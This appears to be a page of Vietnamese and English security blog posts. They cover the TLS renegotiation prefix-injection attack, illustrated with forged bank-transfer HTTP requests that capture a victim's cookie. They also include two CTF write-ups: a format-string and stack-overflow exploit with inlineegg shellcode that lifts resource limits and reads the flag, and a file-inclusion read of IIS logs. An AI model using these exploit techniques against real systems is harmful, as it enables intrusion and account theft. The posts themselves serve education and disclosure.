Lỗ hổng nghiêm trọng của TLS/SSL
Một phát hiện hết sức thú vị:
The SSL 3.0+ and TLS 1.0+ protocols are vulnerable to a set of related attacks which allow a man-in-the-middle (MITM) operating at or below the TCP layer to inject a chosen plaintext prefix into the encrypted data stream, often without detection by either end of the connection. This is possible because an “authentication gap” exists during the renegotiation process at which the MitM may splice together disparate TLS connections in a completely standards-compliant way. This represents a serious security defect for many or all protocols which run on top of TLS, including HTTPS.
Thú vị ở chỗ bao nhiêu người, bao nhiêu chuyên gia, bao nhiêu năm qua dòm vô TLS/SSL mà không thấy được lỗ hổng có vẻ như rất hiển nhiên mà các tác giả ở trên phát hiện.
Có lẽ nguyên nhân nhiều người dòm nhưng không thấy là vì họ chỉ dòm TLS/SSL khi nó đứng một mình, mà không nhìn vào bức tranh lớn OSI, trong đó TLS/SSL chỉ là một layer. Chuyện gì sẽ xảy ra nếu TLS/SSL không hiểu rõ cơ chế hoạt động của các protocol bên trên nó, như HTTP, SMTP hay POP3? Nói cách khác, chuyện gì sẽ xảy ra nếu các protocol ở mức Application không hiểu rõ cơ chế vận hành của TLS/SSL để sử dụng cho đúng cách? Đó là lúc lỗ hổng xuất hiện.
Tổng quan thì lỗ hổng này nằm ở sự thiếu “ăn rơ” giữa TLS/SSL và các protocol trên nó như HTTP hay SMTP. Khai thác lỗ hổng này thì kẻ tấn công có thể chèn thêm một đoạn plaintext bất kỳ vào TLS/SSL encrypted stream giữa client và server mà cả client và server đều không thể phát hiện được.
Đây là một lỗ hổng cực kỳ nghiêm trọng, bởi vì nó phá vỡ hoàn toàn cam kết an toàn của bộ giao thức TLS/SSL. Nói một cách *hoành tráng* thì về mặt lý thuyết, nền tảng của thương mại điện tử đang chao đảo. Tôi dùng chữ lý thuyết vì để cho hướng tấn công này nguy hiểm hơn trong thực tế, thì còn có nhiều trở ngại phải vượt qua (và sẽ bị vượt qua).
Để minh họa cho câu chuyện, và để dễ giải thích, tôi đặt ra một ví dụ như sau:
0. Giả định:
* Ngân hàng A có cung cấp dịch vụ Internet Banking ở địa chỉ https://www.ebank.com. Máy chủ của của họ chạy phần mềm có lỗ hổng mà chúng ta đang bàn ở đây. Chúng ta gọi máy chủ này là server.* Để tăng cường an ninh, ngân hàng A yêu cầu khi khách hàng (giờ cứ gọi là client) sử dụng các tính năng có liên quan đến giao dịch tài chính nằm trong khu vực https://www.ebank.com/account/, thì (browser của) họ phải có cài đặt client certificate cho ngân hàng A cung cấp. Lưu ý là nhiều ngân hàng ở VN thực hiện cái này lắm nha.
* Ngoài ra ngân hàng A còn hỗ trợ khách hàng truy cập bằng (Safari trên) iPhone, lúc đó khách hàng sẽ được chuyển đến https://www.ebank.com/iphone/. Do iPhone có processor yếu, nên ngân hàng A cấu hình máy chủ web của họ để sử dụng một bộ ciphersuite yếu hơn bộ ciphersuite mà họ sử dụng cho các khách hàng thông thường. Cái này trong thực tế cũng có nhiều công ty triển khai.
Rồi bây giờ tôi sẽ sử dụng cái kỹ thuật vừa mới phát hiện để tấn công các khách hàng của ngân hàng A theo 3 hướng tấn công mà các tác giả nêu ra. Àh lưu ý là đây là loại tấn công MITM, nghĩa là attacker phải có quyền theo dõi, điều chỉnh dữ liệu truyền qua lại giữa client và server nha. Attacker có thể làm việc này thông qua các tấn công vào các giao thức ARP hay DNS.
1. Hướng tấn công số 1
Đối với hướng tấn công số 1, tôi sẽ lợi dụng việc khi truy cập vào https://www.ebank.com/account/ thì server sẽ yêu cầu client phải trình certificate.
Sơ đồ bên dưới là tôi lấy từ paper của các tác giả phát hiện ra lỗ hổng này. Tôi thấy cái sơ đồ này giải thích rất rõ lỗ hổng này và cách thức tấn công theo hướng thứ 1. Thật ra thì hướng thứ 2 và hướng thứ 3 cũng khá giống hướng thứ 1, nên tôi nghĩ nắm rõ hướng thứ 1 thì sẽ thấy các hướng kia cũng đơn giản.
Có 4 bước khi triển khai tấn công này:
* Bước 1: client truy cập vào https://www.ebank.com. Lúc này client sẽ kết nối đến attacker, và gửi CLIENT_HELLO để bắt đầu giao thức TLS/SSL. Attacker sẽ tạm dừng cái kết nối này và lưu msg CLIENT_HELLO lại để dùng trong bước 3.
* Bước 2: attacker mở kết nối đến server thật. Hai bên sẽ bắt tay theo giao thức TLS/SSL để tạo thành một session. Sau khi hoàn tất bắt tay, attacker gửi một HTTP request, đại loại như:
POST /account/transfer?amount=1000&receiver=attacker HTTP/1.1\r\n
* Bước 3: server thấy có một request đến khu vực /account/ nên nó tạm thời dừng xử lý request này lại và như đã nói ở trên, nó yêu cầu attacker phải đưa client certificate cho nó xem. Cái hay ở đây, mặc dầu attacker không có (private key của) certificate của client, nhưng hắn vẫn có thể *proxy* cái certificate đó từ client lên server, mà không bị bên nào phát hiện cả.
Server bắt đầu quá trình xác thực bằng việc gửi một msg HELLO_REQUEST ngược lại cho attacker. Attacker nhận được msg này thì hắn gửi CLIENT_HELLO mà hắn đã lưu ở bước 1 ngược lại cho server. Rồi cứ thế, attacker đứng giữa, chuyển msg qua lại giữa client và server cho đến khi quá trình xác thực bằng client certificate kết thúc thành công.
Lưu ý là có 2 loại msg mà attacker sẽ gửi. Loại thứ nhất (trên sơ đồ là những msg kết thúc hoặc bắt đầu từ cột m) là những msg mà hắn phải giải mã/mã hóa trước khi gửi đi. Ví dụ như hắn nhận “Certificate” từ phía client thì hắn sẽ mã hóa cái msg này lại, rồi mới gửi cho server. Loại thứ hai (trên sơ đồ là những msg màu hồng và đỏ) là những msg mà hắn không đọc được (vì không có key), hắn chỉ làm mỗi việc là nhận từ client thì gửi qua server và ngược lại.
* Bước 4: quá trình xác thực client certificate đã kết thúc thành công, server tiếp tục xử lý cái request của attacker ở trên, và trả kết quả lại cho attacker (lưu ý là attacker sẽ không đọc được kết quả này).
Điểm yếu là ở đây. Như chúng ta thấy, khi attacker gửi request ở bước 3, lúc đó hắn chưa được xác thực. Nói cách khác, lúc này request của hắn là unauthenticated request. Việc xác thực diễn ra sau đó, và sau khi xác thực rồi thì server lại quay lại xử lý tiếp cái unauthenticated request của attacker.
Lưu ý, ở bước này, để tránh bị tình nghi, attacker có thể tiếp tục trả kết quả về cho client để đóng kết nối lại một cách êm đẹp.
2. Hướng tấn công số 2
Trước khi bắt đầu giải thích hướng số 2, tôi muốn nhấn mạnh ý này: tất cả 3 hướng tấn công này đều hướng đến chôm credential của client để gửi các authenticated request đến server. Credential ở đây có thể là certificate (như ở hướng số 1) hay cookie/session (như ở hướng số 2 và số 3). Nếu chỉ áp dụng cho HTTPS, nhìn ở một góc độ nào đó, các hướng tấn công này rất giống với tấn công CSRF. Nên nếu ứng dụng của bạn đã có các phương thức phòng chống CSRF rồi hay nếu ứng dụng của bạn không chấp nhận thay đổi state bằng GET, thì tạm thời cũng không phải có gì lo lắng.
Đối với hướng số 1, tôi lợi dụng client certificate để gửi một authenticated request. Ở trường hợp các server không xác thực bằng certificate, tôi sẽ sử dụng hướng tấn cống số 2.
Hướng tấn công này cũng có 4 bước:
* Bước số 1: tương tự như hướng tấn công số 1.
* Bước 2: attacker mở kết nối đến server thật. Hai bên sẽ bắt tay theo giao thức TLS/SSL để tạo thành một session.
Sau khi hoàn tất bắt tay, attacker gửi một HTTP request, đại loại như:
GET /iphone/login HTTP/1.1\r\n Host: ebank.com\r\n Connection: keep-alive\r\n \r\n GET /account/transfer?amount=1000&receiver=attacker HTTP/1.1\r\n Host: ebank.com\r\n Connection: close\r\n X-ignore-this:
* Bước số 3: server thấy có request đến /iphone/ nên nó tạm thời dừng xử lý request này lại và, như đã nói ở phần giả định, server sẽ bắt đầu quá trình renegotiate lại để chọn một bộ ciphersuite yếu hơn. Vấn đề ở đây là server sẽ buffer lại toàn bộ nhóm unauthenticated request này, khi mà renegotiate xong thì lại quay lại xử lý hết tất cả.
Trong quá trình renogotiation, vai trò của attacker cũng tương tự như ở bước số 3 của hướng tấn công số 1, nghĩa là hắn cũng chỉ *proxy* msg qua lại giữa client và server, cho đến khi quá trình renegotiate kết thúc thành công.
* Bước số 4: lúc này, client thấy đã handshake xong rồi, nên bản thân nó sẽ gửi tiếp cái HTTP request của nó ở dạng:
GET /index HTTP/1.1\r\n Cookie: AuthMe=Now\r\n \r\n
Chuyện bất ngờ diễn ra ở đây. Server nó sẽ gom nhóm unauthenticated request ở bước 2 (do attacker gửi) và cái authenticated request này (do client gửi) rồi xử lý chung một lần. Nguyên nhân server xử lý như thế là do cái cờ keep-alive ở request đầu tiên. Thành ra lúc này nhóm request trở thành như sau (màu cam là attacker gửi, màu xanh là client gửi):
GET /iphone/login HTTP/1.1\r\n Host: ebank.com\r\n Connection: keep-alive\r\n \r\n GET /account/transfer?amount=1000&receiver=attacker HTTP/1.1\r\n Host: ebank.com\r\n Connection: close\r\n X-ignore-this:GET /index HTTP/1.1\r\n Cookie: AuthMe=Now\r\n \r\n
Ở đây cái header X-ignore-this đã vô hiệu hóa cái request GET /index HTTP/1.1 của client, đồng thời chôm luôn cookie của client để gắn vào cái unauthenticated request GET /account/transfer?amount=1000&receiver=attacker. Rất hay!
3. Hướng tấn công số 3
Đây là hướng tấn công mạnh nhất, không cần server phải có cấu hình đặc biệt gì để thực hiện. Sự khác biệt cơ bản giữa tấn công này với hai hướng tấn công vừa rồi là trong trường hợp này, client bắt đầu quy trình renegotiation.
Ý tưởng thực hiện tấn công rất giống với hướng 2, chỉ khác nhau ở bước số 2, attacker sẽ không gửi GET /iphone/login nữa mà gửi trực tiếp luôn request của hắn, kèm theo một cái “X-ignore-this” header.
Ngay sau khi gửi cái request đó, attacker sẽ forward cái CLIENT_HELLO thu được ở bước 1 sang cho phía server để bắt đầu quy trình renegotiation. Khi đã renegotiate xong, client sẽ gửi request ban đầu của mình đến server, lúc này toàn bộ request sẽ trông như sau (phần màu cam của attacker gửi, phần màu xanh của client gửi):
GET /account/transfer?amount=1000&receiver=attacker HTTP/1.1\r\n Host: ebank.com\r\n Connection: close\r\n X-ignore-this: GET /index HTTP/1.1\r\n Cookie: AuthMe=Now\r\n \r\n
Tương tự ở trên, X-ignore-this đã vô hiệu hóa request của client và chôm cookie để biến request của attacker thành authenticated. Không cần keep-alive, không cần server phải có cấu hình đặc biệt gì cả!
Writing neat shellcode using inlineegg – Sapheads HackJam 2009 Challenge 8
October 2, 2009 by thaidn · Leave a Comment
1. Analysis
First thing first:
$ file t1g3rd t1g3rd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.15, dynamically linked (uses shared libs), not stripped
t1g3rd is a regular network service that when executed would listen on port 7384. When a client comes in, the binary forks a new child process, and calls a function named handleClient. At the begining of handleClient, t1g3rd calls setrlimit(2) to disallow this child process to open new file or fork a new process. This makes the binary a perfect example to illustrate how to write neat shellcode using inlineegg :-D.
handleClient then goes on to read two inputs, which are 19 bytes long and 512 bytes long respectively, from the client. The first input is sent back to the client using printf(3), and the second is just discarded.
2. Vulnerability
As one can guess, the printf(3) call at 0×08048c52 that the binary uses to send the first input back to the client is vulnerable to format string attack. The format string is limited to 19 bytes long, so one needs to choose where to write with which value wisely.
3. Exploit
Usually, with this kind of format string bug, one could overwrite the RIP of handleClient or the RIP of the vulnerable printf(3) call to loop back to the begining of handleClient, so that the binary would read(2) another 19 bytes, and the next printf(3) call would allow her to overwrite some more bytes to somewhere else such as a GOT entry. One could also redirect to right above the first read(2) call, so that it would read(2) more than 19 bytes, which in turn allows him to overwrite as many bytes to any where as he wants. But we don’t need to use these techniques here.
Right after the vulnerable printf(3) call is another read(2) call at 0×08048c7f whose pseudo-code looks like:
read(0, input_buffer2, length)
where length is an integer stored at $EBP – 0×228 on the stack. Before this call, at 0×08048b43, length is assigned a default value which is 512. What if we overwrite length so that it becomes 1000? Since input_buffer2 is just 512 bytes long, and we read(2) in 1000 bytes, we would get a classic stack-based buffer overflow.
Here are two exploit strings that we send to the binary:
# overwrite length so that read(0, input_buffer2, length) at 0x08048c7f reads more than 512 bytes
length_slot = 0xbf9c1978 #original length: 0x0000200
new_length = 1000
msg1 = struct.pack('I', length_slot) + '%' + str(new_length) + 'c%134$hn' # this is 18 bytes
# msg2 = SHELLCODE + RET
shellcode = SHELLCODE # shellcode's length should a multiple of 4
msg2 = shellcode + '\x84\x19\x9c\xbf' * ((0x224 - len(msg2))/4) # 0xbf9c1984 = input_buffer2
4. Shellcode
Now I can make t1g3rd run my shellcode, but as I said in Section 1, the binary disallows opening new file or forking new process. That means the shellcode can’t do anything useful, i.e. reading the key file or returning a shell. Or can it? What if our shellcode calls setrlmit(2) to set the resource limitations back to normal values?
Then comes the question of the day: how to write shellcode that calls setrlmit(2)? Or a more generic question: how to write shellcode that calls syscalls that accept structures as parameters? Actually, there are 3 ways to write that kind of shellcode: a) write it using Assembly; b) or write a C program, and use ShellForge to get out the respective shellcode; c) or use inlineegg to write it in Python.
As the title of this entry suggests, I’ll go with inlineegg. To be honest I hadn’t written this kind of shellcode before, so it took me an hour or so to figure out how to do it with inlineegg. This is just basic knowledge, but I hope somebody would find my work useful.
Here is the shellcode:
1. egg = InlineEgg(Linuxx86Syscall)
2. egg.addCode(egg.micro.pushTuple((100, 200)))
3. egg.setrlimit(7, egg.micro.varAtTop().addr()) # RLIMIT_NOFILE
4. buff = egg.alloc(20)
5. fd = egg.save(-1)
6. fd = egg.open(flag_file)
7. nr = egg.read(fd, buff.addr(), 20)
8. egg.write(0, buff.addr(), nr)
9. #egg.execve('/bin/cat',('cat', flag_file)) # easier way
10. egg.exit(0)
The most important lines are 2 and 3 which I would explain shortly. If you want to understand the rest, I suggest you reading inlineegg’s documetation and examples.
The prototype of setrlimit(2) is:
int setrlimit(int resource, const struct rlimit *rlim);
where the second parameter is a pointer to a rlimit structure which is:
struct rlimit {
rlim_t rlim_cur; /* Soft limit */
rlim_t rlim_max; /* Hard limit (ceiling for rlim_cur) */
};
So in order to call setrlimit(2), we need to pass to it an address that points to a rlimit structure containing more relaxing values of rlim_cur and rlimit_max.
At line 2, I push a tuple (100, 200) to the stack. egg.micro.pushTuple((100, 200)) would return the Assembly code that pushes 100 and 200 to the stack, and egg.addCode of course would add that code to the egg.
At line 3, egg.micro.varAtTop() would return the variable (see class Variable in inlineegg.py) at the top of the stack. Since we just push 100 and 200 to the stack, this variable would contain these two integers. I call addr() on this variable to get its address, and pass the result as the second argument of the setrlimit(2) syscall.
And that’s it! Is it neat? He he he. In the next writeup, I’ll illustrate how to use inlineegg to write even sneakier shellcode. Stay tuned and happy hacking!
WOWHacker CTF – Web Hacking Challenge
August 25, 2009 by thaidn · Leave a Comment
Challenge 8 (not accessible atm) is the only web hacking challenge in WOWHacker’s CTF. In hindsight it’s not very difficult, but in fact it took us almost 1 day to solve it.
This is a classic PHP local file inclusion attack. If you set the parameter ty and the cookie 71860c77c6745379b0d44304d66b6a13 to the same file name, the vulnerable PHP script in challenge 8 would try to include that file. Here’s what the code looks like:
$ty = $_GET["ty"];
$page = $_COOKIE["71860c77c6745379b0d44304d66b6a13"];
if ($ty != $page)
{
echo "Error!";
}
else
{
if (include($ty) != 'OK')
{
echo "Can't find that page!";
}
}
Update: gamma95 has just noticed me this challenge may not be a PHP local file inclusion attack. Maybe it’s just a vulnerable readfile call like this:
$ty = $_GET["ty"];
$page = $_COOKIE["71860c77c6745379b0d44304d66b6a13"];
if ($ty != $page)
{
echo "Error!";
}
else
{
if (file_exists($ty))
{
readfile($ty);
}
else
{
echo "Can't find that page!";
}
}
For vulnerable scripts like this, the trick is to include files in known location which may contain important information, i.e. Apache httpd’s error_log or access_log. As we knew this is a Windows machine, we tried to test our theory by including C:\Windows\system32\drivers\etc\hosts which worked as expected. At this point, we thought we were just moments away from the solution of this challenge, but in fact we were totally stuck for the next several hours.
We went on to guess the location of Apache httpd’s log files. We sent hundreds of requests, but none worked. I even downloaded and installed a copy of Apache httpd to understand its directory structure but still no luck. Why it didn’t work???
Like challenge 1, it wasn’t until we almost gave up on this challenge, we realized the simple fact: we always thought that the web server was Apache httpd while it was IIS actually! Years of abandoning Windows has brainwashed us! What a shame!
The next steps are simple. The default IIS installation would store log files in C:\WINDOWS\system32\LogFiles\W3SVC1\exYYMMDD.log. As the premilinary round started on 2009.08.14, we guess we should include C:\WINDOWS\system32\LogFiles\W3SVC1\ex090814.log which in turn reveals this secret script:
/tmxhffjsqkdlxmwhaWkddlsemt/answpsorltlagkrpglaemfdjttmqslek/rmfoehrufrnrdpsvntutspdy.php
This script asks for a username and password which gamma95 had bypassed it using a trivial SQL injection attack even before I figured out what I should do next. After bypassing the authentication, we obtained the flag which is: Do you know StolenByte???
No we don’t know him, but thanks for a nice challenge!
Salami attack at Asia Commercial Bank
May 15, 2008 by lamer · 5 Comments
Sáng nay khoảng 10:00 mình ra ngân hàng ACB ở đường Xuân Hồng, ngay phía sau khu triển lãm Tân Bình để đổi 100 đồng Mỹ ra tiền Việt.
Theo tỉ giá của ngày hôm nay thì mình sẽ nhận được 1,616,300. Trong giấy chi cũng ghi rõ con số này.
Thế nhưng nhân viên ở quầy chỉ đưa mình 1,616,000. Tức là thiếu 300 đồng.
Mình hỏi lại nhân viên đó rằng tại sao lại làm tròn xuống thế này và nhận được câu trả lời là cho dù mình có 499 đồng thì cũng vẫn làm tròn xuống như vậy.
Trước hết, ở những ngân hàng khác mình thường lui tới thì không bao giờ có chuyện làm tròn số như thế này. 1 cent là 1 cent. 100 đồng là 100 đồng. Họ sẽ đưa đủ. Mặc dù mình chưa thấy trường hợp nào họ đưa “dư” :-D nhưng thiếu thì chắc chắn là không.
Thứ hai, không biết là chính sách làm tròn xuống gây thiệt hại cho khách hàng như thế này là của chính nhân viên quầy tự ý vì mục đích riêng, hay là của toàn ngân hàng.
Đây rõ ràng là một ví dụ điển hình và thực tế về “bòn rút” (salami attack) trong lĩnh vực an toàn thông tin. Salami attack là những sự việc nhỏ nhặt nhưng xảy ra trên một quy mô lớn ví dụ như hàng trăm ngàn tài khoản trong ngân hàng bị bòn rút 100 đồng thì kết quả sẽ là một thiệt hại cỡ vài trăm triệu đồng. Đối với từng chủ tài khoản, sự hao hụt 100 đồng này không dễ phát hiện ra cho nên salami attack thường ít khi bị phát hiện.
Dù sao đi nữa thì ACB cũng đã mất đi một khách hàng (cho dù là nhỏ) cho tới khi mình nghe được tin tức khác. Bởi vì đã không làm tròn lên thì chớ có chuyện làm tròn xuống. Câu nói khách hàng là thượng đế ở đâu rồi?
Vá lỗi cho gói openssl
May 14, 2008 by lukas · Leave a Comment
Các phiên bản có chứa lỗi:
* Ubuntu 7.04 (Feisty)
* Ubuntu 7.10 (Gutsy)
* Ubuntu 8.04 LTS (Hardy)
* Ubuntu “Intrepid Ibex” (development): libssl <= 0.9.8g-8
* Debian 4.0 (etch) (see corresponding Debian security advisory)
Debian có cung cấp một script kiểm tra key, nếu status trả về weak tức là hệ thống của bạn có lỗi. Bạn nên update hệ thống ngay lập tức.
http://security.debian.org/project/extra/dowkd/dowkd.pl.gz
http://security.debian.org/project/extra/dowkd/dowkd.pl.gz.asc
Việc kiểm tra này cần phải tính toán lại nên có thể khá lâu, bạn có thể bỏ qua bước này và chỉ cần apt-get update/upgrade mà thôi, hiện các repo đã có đầy đủ các gói cập nhật.
Có người đã gọi sự cố này là ngày “Thảm họa Debian” sau sự kiện năm 2003.
Links:
Linux security
Planet Debian



